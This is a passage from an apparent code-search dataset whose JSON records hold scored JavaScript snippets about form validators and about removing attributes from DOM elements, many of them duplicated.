newValidator;\n this._composedAsyncValidatorFn = coerceToAsyncValidator(newValidator);\n }", "title": "" }, { "docid": "f34165f5bcc5213a859fb184fc6aa0f8", "score": "0.5109794", "text": "setAsyncValidators(newValidator) {\n this._rawAsyncValidators = newValidator;\n this._composedAsyncValidatorFn = coerceToAsyncValidator(newValidator);\n }", "title": "" }, { "docid": "f34165f5bcc5213a859fb184fc6aa0f8", "score": "0.5109794", "text": "setAsyncValidators(newValidator) {\n this._rawAsyncValidators = newValidator;\n this._composedAsyncValidatorFn = coerceToAsyncValidator(newValidator);\n }", "title": "" }, { "docid": "f34165f5bcc5213a859fb184fc6aa0f8", "score": "0.5109794", "text": "setAsyncValidators(newValidator) {\n this._rawAsyncValidators = newValidator;\n this._composedAsyncValidatorFn = coerceToAsyncValidator(newValidator);\n }", "title": "" }, { "docid": "3e74cb3e0928191936d217e2fe069287", "score": "0.50591516", "text": "function validator() {\n return {\n stringValidator: isAllCapitals,\n passwordValidator: isAnyDigits,\n colorValidator: isValidHexColor,\n yearValidator: belongsFrom1900To2018\n };\n}", "title": "" }, { "docid": "9b4efdbeafb90102519f64f9767ed7ab", "score": "0.5055644", "text": "function coerceToValidator(validator) {\n return Array.isArray(validator) ? composeValidators(validator) : validator || null;\n }", "title": "" }, { "docid": "d828ee244a1fc3b50241baeb1da14360", "score": "0.50542575", "text": "addAsyncValidators(validators) {\n this.setAsyncValidators(addValidators(validators, this._rawAsyncValidators));\n }", "title": "" }, { "docid": "f61c12df125a3048301ae0a65b47ea15", "score": "0.5049738", "text": "static validate(val, validators) {\n let error = false;\n for (let vFn of validators) {\n if (error) {\n break;\n }\n error = vFn(val);\n }\n return error;\n }", "title": "" }, { "docid": "d2a9d35da4a336f3a428182ef7276038", "score": "0.50449145", "text": "get validator() {\n return this._composedValidatorFn;\n }", "title": "" }, { "docid": "d2a9d35da4a336f3a428182ef7276038", "score": "0.50449145", "text": "get validator() {\n return this._composedValidatorFn;\n }", "title": "" }, { "docid": "d2a9d35da4a336f3a428182ef7276038", "score": "0.50449145", "text": "get validator() {\n return this._composedValidatorFn;\n }", "title": "" }, { "docid": "d2a9d35da4a336f3a428182ef7276038", "score": "0.50449145", "text": "get validator() {\n return this._composedValidatorFn;\n }", "title": "" }, { "docid": "d2a9d35da4a336f3a428182ef7276038", "score": "0.50449145", "text": "get validator() {\n return this._composedValidatorFn;\n }", "title": "" }, { "docid": "d2a9d35da4a336f3a428182ef7276038", "score": "0.50449145", "text": "get validator() {\n return this._composedValidatorFn;\n }", "title": "" }, { "docid": "b136b47dddad579338eab0ae5b4a1d45", "score": "0.50162524", "text": "function ValidatePromise(validationOptions) {\n return function (object, propertyName) {\n var args = {\n type: ValidationTypes.PROMISE_VALIDATION,\n target: object.constructor,\n propertyName: propertyName,\n validationOptions: validationOptions,\n };\n getMetadataStorage().addValidationMetadata(new ValidationMetadata(args));\n };\n }", "title": "" }, { "docid": "c3b15eb22ac59009a3c21cc6e9615432", "score": "0.50005096", "text": "validate(options) {\n const requestContextPromise = this.requestFactory.validate(options);\n return requestContextPromise.then((requestContext) => {\n return this.configuration.httpApi\n .send(requestContext)\n .then((responseContext) => {\n return this.responseProcessor.validate(responseContext);\n });\n });\n }", "title": "" }, { "docid": "38eec58ac7f1f53dbe2eb8411554a80b", "score": "0.49861136", "text": "getValidator(schema) {\n const ajv = new Ajv({ allErrors: true, extendRefs: true });\n return ajv\n .addSchema(require('../schemas/steps.json'))\n .addSchema(require('../schemas/pipelines.json'))\n .addSchema(require('../schemas/applications.json'))\n .compile(schema);\n }", "title": "" }, { "docid": "3fcac2b566ceb8c6ac2a5620a5b81e7e", "score": "0.49682903", "text": "function ValidatorConstraint(options) {\n return function (target) {\n var isAsync = options && options.async;\n var name = options && options.name ? options.name : '';\n if (!name) {\n name = target.name;\n if (!name)\n // generate name if it was not given\n name = name.replace(/\\.?([A-Z]+)/g, function (x, y) { return '_' + y.toLowerCase(); }).replace(/^_/, '');\n }\n var metadata = new ConstraintMetadata(target, name, isAsync);\n getMetadataStorage().addConstraintMetadata(metadata);\n };\n }", "title": "" }, { "docid": "d369d960a6bf6d3bd193965757f9ea85", "score": "0.49440876", "text": "constructor(validators, asyncValidators) {\n /**\n * Indicates that a control has its own pending asynchronous validation in progress.\n *\n * @internal\n */\n this._hasOwnPendingAsyncValidator = false;\n /** @internal */\n this._onCollectionChange = () => { };\n this._parent = null;\n /**\n * A control is `pristine` if the user has not yet changed\n * the value in the UI.\n *\n * @returns True if the user has not yet changed the value in the UI; compare `dirty`.\n * Programmatic changes to a control's value do not mark it dirty.\n */\n this.pristine = true;\n /**\n * True if the control is marked as `touched`.\n *\n * A control is marked `touched` once the user has triggered\n * a `blur` event on it.\n */\n this.touched = false;\n /** @internal */\n this._onDisabledChange = [];\n this._rawValidators = validators;\n this._rawAsyncValidators = asyncValidators;\n this._composedValidatorFn = coerceToValidator(this._rawValidators);\n this._composedAsyncValidatorFn = coerceToAsyncValidator(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "d369d960a6bf6d3bd193965757f9ea85", "score": "0.49440876", "text": "constructor(validators, asyncValidators) {\n /**\n * Indicates that a control has its own pending asynchronous validation in progress.\n *\n * @internal\n */\n this._hasOwnPendingAsyncValidator = false;\n /** @internal */\n this._onCollectionChange = () => { };\n this._parent = null;\n /**\n * A control is `pristine` if the user has not yet changed\n * the value in the UI.\n *\n * @returns True if the user has not yet changed the value in the UI; compare `dirty`.\n * Programmatic changes to a control's value do not mark it dirty.\n */\n this.pristine = true;\n /**\n * True if the control is marked as `touched`.\n *\n * A control is marked `touched` once the user has triggered\n * a `blur` event on it.\n */\n this.touched = false;\n /** @internal */\n this._onDisabledChange = [];\n this._rawValidators = validators;\n this._rawAsyncValidators = asyncValidators;\n this._composedValidatorFn = coerceToValidator(this._rawValidators);\n this._composedAsyncValidatorFn = coerceToAsyncValidator(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "d369d960a6bf6d3bd193965757f9ea85", "score": "0.49440876", "text": "constructor(validators, asyncValidators) {\n /**\n * Indicates that a control has its own pending asynchronous validation in progress.\n *\n * @internal\n */\n this._hasOwnPendingAsyncValidator = false;\n /** @internal */\n this._onCollectionChange = () => { };\n this._parent = null;\n /**\n * A control is `pristine` if the user has not yet changed\n * the value in the UI.\n *\n * @returns True if the user has not yet changed the value in the UI; compare `dirty`.\n * Programmatic changes to a control's value do not mark it dirty.\n */\n this.pristine = true;\n /**\n * True if the control is marked as `touched`.\n *\n * A control is marked `touched` once the user has triggered\n * a `blur` event on it.\n */\n this.touched = false;\n /** @internal */\n this._onDisabledChange = [];\n this._rawValidators = validators;\n this._rawAsyncValidators = asyncValidators;\n this._composedValidatorFn = coerceToValidator(this._rawValidators);\n this._composedAsyncValidatorFn = coerceToAsyncValidator(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "d369d960a6bf6d3bd193965757f9ea85", "score": "0.49440876", "text": "constructor(validators, asyncValidators) {\n /**\n * Indicates that a control has its own pending asynchronous validation in progress.\n *\n * @internal\n */\n this._hasOwnPendingAsyncValidator = false;\n /** @internal */\n this._onCollectionChange = () => { };\n this._parent = null;\n /**\n * A control is `pristine` if the user has not yet changed\n * the value in the UI.\n *\n * @returns True if the user has not yet changed the value in the UI; compare `dirty`.\n * Programmatic changes to a control's value do not mark it dirty.\n */\n this.pristine = true;\n /**\n * True if the control is marked as `touched`.\n *\n * A control is marked `touched` once the user has triggered\n * a `blur` event on it.\n */\n this.touched = false;\n /** @internal */\n this._onDisabledChange = [];\n this._rawValidators = validators;\n this._rawAsyncValidators = asyncValidators;\n this._composedValidatorFn = coerceToValidator(this._rawValidators);\n this._composedAsyncValidatorFn = coerceToAsyncValidator(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "d369d960a6bf6d3bd193965757f9ea85", "score": "0.49440876", "text": "constructor(validators, asyncValidators) {\n /**\n * Indicates that a control has its own pending asynchronous validation in progress.\n *\n * @internal\n */\n this._hasOwnPendingAsyncValidator = false;\n /** @internal */\n this._onCollectionChange = () => { };\n this._parent = null;\n /**\n * A control is `pristine` if the user has not yet changed\n * the value in the UI.\n *\n * @returns True if the user has not yet changed the value in the UI; compare `dirty`.\n * Programmatic changes to a control's value do not mark it dirty.\n */\n this.pristine = true;\n /**\n * True if the control is marked as `touched`.\n *\n * A control is marked `touched` once the user has triggered\n * a `blur` event on it.\n */\n this.touched = false;\n /** @internal */\n this._onDisabledChange = [];\n this._rawValidators = validators;\n this._rawAsyncValidators = asyncValidators;\n this._composedValidatorFn = coerceToValidator(this._rawValidators);\n this._composedAsyncValidatorFn = coerceToAsyncValidator(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "301b73349eb5adfaf34e04bc4112f3b5", "score": "0.49425063", "text": "buildValidators(){\n\n\t\tconst pipeline = new Array();\n\n\t\tfor( const validatorName of this.validators){\n\n\t\t\tconst validator = global.expressure.require('validators', validatorName);\n\n\t\t\tpipeline.push( (req, res, next) => {\n\n\t\t\t\tif( validator.validate( req ) ){\n\t\t\t\t\t\n\t\t\t\t\t//Validation was successful\n\t\t\t\t\treturn next();\n\n\t\t\t\t} else {\n\n\t\t\t\t\t//Validation failed. Sending error response\n\t\t\t\t\treturn global.expressure.helpers.response.validationError( res, validator.getErrors() );\n\n\t\t\t\t}\n\n\t\t\t});\n\n\t\t}\n\n\t\treturn pipeline;\n\n\t}", "title": "" }, { "docid": "9166f30ec9d437c7a10d1337d5bf7e43", "score": "0.49273106", "text": "constructor(formState = null, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n /** @internal */\n this._onChange = [];\n this._applyFormState(formState);\n this._setUpdateStrategy(validatorOrOpts);\n this.updateValueAndValidity({ onlySelf: true, emitEvent: false });\n this._initObservables();\n }", "title": "" }, { "docid": "ee7eff8918953a0ce09483bebabc04f7", "score": "0.49077058", "text": "constructor(formState = null, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n /** @internal */\n this._onChange = [];\n this._applyFormState(formState);\n this._setUpdateStrategy(validatorOrOpts);\n this._initObservables();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`.\n // The status should be broadcasted via the `statusChanges` observable, so we set `emitEvent`\n // to `true` to allow that during the control creation process.\n emitEvent: !!this.asyncValidator\n });\n }", "title": "" }, { "docid": "af83998b0941c2eb520947bdcbaae7d5", "score": "0.490552", "text": "function checkOptions(fsType, opts, cb) {\n\t var optsInfo = fsType.Options;\n\t var fsName = fsType.Name;\n\t var pendingValidators = 0;\n\t var callbackCalled = false;\n\t var loopEnded = false;\n\t function validatorCallback(e) {\n\t if (!callbackCalled) {\n\t if (e) {\n\t callbackCalled = true;\n\t cb(e);\n\t }\n\t pendingValidators--;\n\t if (pendingValidators === 0 && loopEnded) {\n\t cb();\n\t }\n\t }\n\t }\n\t // Check for required options.\n\t var loop = function ( optName ) {\n\t if (optsInfo.hasOwnProperty(optName)) {\n\t var opt = optsInfo[optName];\n\t var providedValue = opts[optName];\n\t if (providedValue === undefined || providedValue === null) {\n\t if (!opt.optional) {\n\t // Required option, not provided.\n\t // Any incorrect options provided? Which ones are close to the provided one?\n\t // (edit distance 5 === close)\n\t var incorrectOptions = Object.keys(opts).filter(function (o) { return !(o in optsInfo); }).map(function (a) {\n\t return { str: a, distance: levenshtein(optName, a) };\n\t }).filter(function (o) { return o.distance < 5; }).sort(function (a, b) { return a.distance - b.distance; });\n\t // Validators may be synchronous.\n\t if (callbackCalled) {\n\t return {};\n\t }\n\t callbackCalled = true;\n\t return { v: cb(new ApiError(ErrorCode.EINVAL, (\"[\" + fsName + \"] Required option '\" + optName + \"' not provided.\" + (incorrectOptions.length > 0 ? (\" You provided unrecognized option '\" + (incorrectOptions[0].str) + \"'; perhaps you meant to type '\" + optName + \"'.\") : '') + \"\\nOption description: \" + (opt.description)))) };\n\t }\n\t // Else: Optional option, not provided. That is OK.\n\t }\n\t else {\n\t // Option provided! Check type.\n\t var typeMatches = false;\n\t if (Array.isArray(opt.type)) {\n\t typeMatches = opt.type.indexOf(typeof (providedValue)) !== -1;\n\t }\n\t else {\n\t typeMatches = typeof (providedValue) === opt.type;\n\t }\n\t if (!typeMatches) {\n\t // Validators may be synchronous.\n\t if (callbackCalled) {\n\t return {};\n\t }\n\t callbackCalled = true;\n\t return { v: cb(new ApiError(ErrorCode.EINVAL, (\"[\" + fsName + \"] Value provided for option \" + optName + \" is not the proper type. Expected \" + (Array.isArray(opt.type) ? (\"one of {\" + (opt.type.join(\", \")) + \"}\") : opt.type) + \", but received \" + (typeof (providedValue)) + \"\\nOption description: \" + (opt.description)))) };\n\t }\n\t else if (opt.validator) {\n\t pendingValidators++;\n\t opt.validator(providedValue, validatorCallback);\n\t }\n\t // Otherwise: All good!\n\t }\n\t }\n\t };\n\t\n\t for (var optName in optsInfo) {\n\t var returned = loop( optName );\n\t\n\t if ( returned ) return returned.v;\n\t }\n\t loopEnded = true;\n\t if (pendingValidators === 0 && !callbackCalled) {\n\t cb();\n\t }\n\t}", "title": "" }, { "docid": "f06b304f5c1fbb677799b9114ade7896", "score": "0.4901688", "text": "constructor(formState = null, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n /** @internal */\n this._onChange = [];\n this._applyFormState(formState);\n this._setUpdateStrategy(validatorOrOpts);\n this._initObservables();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`.\n // The status should be broadcasted via the `statusChanges` observable, so we set `emitEvent`\n // to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" } ]
c601bde32d3a31e7a91842000f7691c7
Removes an attribute with the given name from an element node.
[ { "docid": "455bd37c388b0f82503f7e9fda679017", "score": "0.7556675", "text": "function element_removeAnAttributeByName(qualifiedName, element) {\n /**\n * 1. Let attr be the result of getting an attribute given qualifiedName\n * and element.\n * 2. If attr is non-null, remove it from element.\n * 3. Return attr.\n */\n const attr = element_getAnAttributeByName(qualifiedName, element);\n if (attr !== null) {\n element_remove(attr, element);\n }\n return attr;\n}", "title": "" } ]
[ { "docid": "ddb37f566247c26d15780b83a9541fbe", "score": "0.7529108", "text": "function element_removeAnAttributeByName(qualifiedName, element) {\n /**\n * 1. Let attr be the result of getting an attribute given qualifiedName\n * and element.\n * 2. If attr is non-null, remove it from element.\n * 3. Return attr.\n */\n var attr = element_getAnAttributeByName(qualifiedName, element);\n if (attr !== null) {\n element_remove(attr, element);\n }\n return attr;\n}", "title": "" }, { "docid": "131cbd82e88435b9de56365c040cecfd", "score": "0.750462", "text": "function removeAttribute(node, attribute) {\n node.removeAttribute(attribute)\n removeAdditional(node, attribute)\n}", "title": "" }, { "docid": "d3c8b530ff8c089f2266931c7788168a", "score": "0.7420906", "text": "function removeAttribute(node, name, prevValue) {\n if (typeof prevValue === 'function') {\n prevValue(node, name, true);\n return;\n }\n\n switch (name) {\n case 'checked':\n case 'disabled':\n case 'selected':\n node[name] = false;\n break;\n case 'innerHTML':\n node.innerHTML = '';\n break;\n case 'value':\n (0, _setValue2.default)(node, null);\n break;\n default:\n node.removeAttribute(name);\n break;\n }\n}", "title": "" }, { "docid": "fa6bbe1cbc524f32cab9bd2b1e23a770", "score": "0.70761013", "text": "function removeAttribute(nodeArray, attrName) {\n\tlet elmArray = Array.prototype.slice.call(nodeArray);\n\tfor (let i = 0; i < elmArray.length; i++) {\n\t\telmArray[i].removeAttribute(attrName);\n\t}\n}", "title": "" }, { "docid": "e37581991f2ae9d7b869f0c69ab1e85f", "score": "0.69542915", "text": "function hc_elementremoveattributenode() {\n var success;\n if(checkInitialization(builder, \"hc_elementremoveattributenode\") != null) return;\n var doc;\n var elementList;\n var testEmployee;\n var streetAttr;\n var removedAttr;\n var removedValue;\n \n var docRef = null;\n if (typeof(this.doc) != 'undefined') {\n docRef = this.doc;\n }\n doc = load(docRef, \"doc\", \"hc_staff\");\n elementList = doc.getElementsByTagName(\"acronym\");\n testEmployee = elementList.item(2);\n streetAttr = testEmployee.getAttributeNode(\"class\");\n removedAttr = testEmployee.removeAttributeNode(streetAttr);\n assertNotNull(\"removedAttrNotNull\",removedAttr);\nremovedValue = removedAttr.value;\n\n assertEquals(\"elementRemoveAttributeNodeAssert\",\"No\",removedValue);\n \n}", "title": "" }, { "docid": "4233113567c946bc03d07ed3dd2451be", "score": "0.6854598", "text": "function netUIRemoveAttribute(node,namespace,attribute)\r\n{\r\n var nsAttr = namespace + \":\" + attribute;\r\n var attr = node.getAttribute(nsAttr);\r\n if (attr == null || attr == \"\") {\r\n attr = node.removeAttribute(attribute);\r\n }\r\n else {\r\n attr = node.removeAttribute(nsAttr);\r\n }\r\n}", "title": "" }, { "docid": "3c36c998e877497dd5fa0ef6dbdfcd61", "score": "0.68026465", "text": "function element_removeAnAttributeByNamespaceAndLocalName(namespace, localName, element) {\n /**\n * 1. Let attr be the result of getting an attribute given namespace, localName, and element.\n * 2. If attr is non-null, remove it from element.\n * 3. Return attr.\n */\n const attr = element_getAnAttributeByNamespaceAndLocalName(namespace, localName, element);\n if (attr !== null) {\n element_remove(attr, element);\n }\n return attr;\n}", "title": "" }, { "docid": "21ebd0c5e380eef728b5261e23e5d045", "score": "0.6795203", "text": "function getAndRemoveAttr(el,name,removeFromMap){var val;if((val=el.attrsMap[name])!=null){var list=el.attrsList;for(var i=0,l=list.length;i<l;i++){if(list[i].name===name){list.splice(i,1);break;}}}if(removeFromMap){delete el.attrsMap[name];}return val;}", "title": "" }, { "docid": "1cb62700df9651ebce4f85504105a692", "score": "0.67824936", "text": "function element_removeAnAttributeByNamespaceAndLocalName(namespace, localName, element) {\n /**\n * 1. Let attr be the result of getting an attribute given namespace, localName, and element.\n * 2. If attr is non-null, remove it from element.\n * 3. Return attr.\n */\n var attr = element_getAnAttributeByNamespaceAndLocalName(namespace, localName, element);\n if (attr !== null) {\n element_remove(attr, element);\n }\n return attr;\n}", "title": "" }, { "docid": "f69796c24df63ab0ed1e3abd9039536a", "score": "0.6722821", "text": "function elementremoveattribute() {\n var success;\n if(checkInitialization(builder, \"elementremoveattribute\") != null) return;\n var doc;\n var elementList;\n var testEmployee;\n var attrValue;\n \n var docRef = null;\n if (typeof(this.doc) != 'undefined') {\n docRef = this.doc;\n }\n doc = load(docRef, \"doc\", \"staff\");\n elementList = doc.getElementsByTagName(\"address\");\n testEmployee = elementList.item(3);\n testEmployee.removeAttribute(\"street\");\n attrValue = testEmployee.getAttribute(\"street\");\n assertEquals(\"streetYes\",\"Yes\",attrValue);\n \n}", "title": "" }, { "docid": "071147f4eeb449b6c579e5f9338aea38", "score": "0.6718711", "text": "attributeRemoved(nodeId, name) {\n __inspectorSendEvent(JSON.stringify({\n method: 'DOM.attributeRemoved',\n params: { nodeId: nodeId, name: name },\n }));\n }", "title": "" }, { "docid": "071147f4eeb449b6c579e5f9338aea38", "score": "0.6718711", "text": "attributeRemoved(nodeId, name) {\n __inspectorSendEvent(JSON.stringify({\n method: 'DOM.attributeRemoved',\n params: { nodeId: nodeId, name: name },\n }));\n }", "title": "" }, { "docid": "a773f076f5f51a096b76fddb92c5409e", "score": "0.66975427", "text": "function hc_elementremoveattribute() {\n var success;\n if(checkInitialization(builder, \"hc_elementremoveattribute\") != null) return;\n var doc;\n var elementList;\n var testEmployee;\n var attrValue;\n \n var docRef = null;\n if (typeof(this.doc) != 'undefined') {\n docRef = this.doc;\n }\n doc = load(docRef, \"doc\", \"hc_staff\");\n elementList = doc.getElementsByTagName(\"acronym\");\n testEmployee = elementList.item(3);\n testEmployee.removeAttribute(\"class\");\n attrValue = testEmployee.getAttribute(\"class\");\n assertEquals(\"attrValue\",\"\",attrValue);\n \n}", "title": "" }, { "docid": "153da11f705e04d962df5b986c4fd20c", "score": "0.6658459", "text": "function elementremoveattributenode() {\n var success;\n if(checkInitialization(builder, \"elementremoveattributenode\") != null) return;\n var doc;\n var elementList;\n var testEmployee;\n var streetAttr;\n var removedAttr;\n var removedValue;\n \n var docRef = null;\n if (typeof(this.doc) != 'undefined') {\n docRef = this.doc;\n }\n doc = load(docRef, \"doc\", \"staff\");\n elementList = doc.getElementsByTagName(\"address\");\n testEmployee = elementList.item(2);\n streetAttr = testEmployee.getAttributeNode(\"street\");\n removedAttr = testEmployee.removeAttributeNode(streetAttr);\n removedValue = removedAttr.value;\n\n assertEquals(\"elementRemoveAttributeNodeAssert\",\"No\",removedValue);\n \n}", "title": "" }, { "docid": "a490e0f9656d8fbe6b829340fb751408", "score": "0.6537468", "text": "function getAndRemoveAttr(el, name, removeFromMap) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break;\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val;\n }", "title": "" }, { "docid": "a490e0f9656d8fbe6b829340fb751408", "score": "0.6537468", "text": "function getAndRemoveAttr(el, name, removeFromMap) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break;\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val;\n }", "title": "" }, { "docid": "dba1469896c9a42f618cb8c6063b3517", "score": "0.6517903", "text": "function getAndRemoveAttr(el, name, removeFromMap) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break;\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val;\n}", "title": "" }, { "docid": "f5c3b5636f2718ea2c9e6e2f9fd6eb7b", "score": "0.6515995", "text": "function removeAttribute( o , attrib ) {\n return( o.removeAttribute( attrib ) );\n}", "title": "" }, { "docid": "b8eac1f6b0639a09d84e3cedd6d42603", "score": "0.6501166", "text": "function getAndRemoveAttr(el, name, removeFromMap) {\n var val;\n\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break;\n }\n }\n }\n\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n\n return val;\n}", "title": "" }, { "docid": "495a0d1e39f17f73ef8217573cb00b9d", "score": "0.6478341", "text": "static async deleteExtendedAttribute(path, attribName) {\n await ExtendedAttributesExtension.extendedAttribute.deleteExtendedAttribute(path, attribName);\n }", "title": "" }, { "docid": "2339777f26890abc1c601fa48a59a931", "score": "0.642286", "text": "function setAttr(el, name, value) {\n if (value === null) {\n removeAttribute(el, name);\n }\n else {\n el.attribs[name] = \"\" + value;\n }\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n break\n }\n }\n }\n if (removeFromMap) {\n delete el.attrsMap[name];\n }\n return val\n}", "title": "" }, { "docid": "7a73214279be2d44aecc399391fde459", "score": "0.64208615", "text": "function getAndRemoveAttr (\n el,\n name,\n removeFromMap\n) {\n var val;\n if ((val = el.attrsMap[name]) != null) {\n var list = el.attrsList;\n for (var i = 0, l = list.length; i < l; i++) {\n if (list[i].name === name) {\n list.splice(i, 1);\n 